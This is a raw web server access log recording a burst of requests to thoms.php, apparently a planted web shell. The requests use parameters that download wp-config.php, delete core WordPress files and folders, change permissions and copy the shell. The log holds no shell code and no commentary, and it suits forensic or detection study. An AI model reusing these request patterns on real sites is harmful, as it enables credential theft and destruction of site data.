45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21348 "https://163.245.207.76/thoms.php?dl=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21349 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21339 "https://163.245.207.76/thoms.php?chmod=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?chmod=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?del=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p=ba-guo.com.tw&settings=1 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?del=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?chmod=readme.html&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21290 "https://163.245.207.76/thoms.php?chmod=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-load.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p=ba-guo.com.tw&upload= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?chmod=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?chmod=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?chmod=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21044 "https://163.245.207.76/thoms.php?chmod=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?chmod=locoy.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?del=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21320 "https://163.245.207.76/thoms.php?chmod=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?dl=readme.html&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?dl=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?dl=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?dl=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?dl=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?dl=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?dl=error_log&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?dl=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?del=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?del=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-settings.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?del=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21278 "https://163.245.207.76/thoms.php?del=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?del=wp-includes&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=mah.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?chmod=thoms.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=wp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?chmod=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?del=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?dl=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?chmod=cgi-bin&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?del=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?dl=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?chmod=cgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21353 "https://163.245.207.76/thoms.php?chmod=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?del=web-filter&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?del=wp-content&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?del=web-filter&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?del=cgi-bin&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=wp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=cgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21355 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
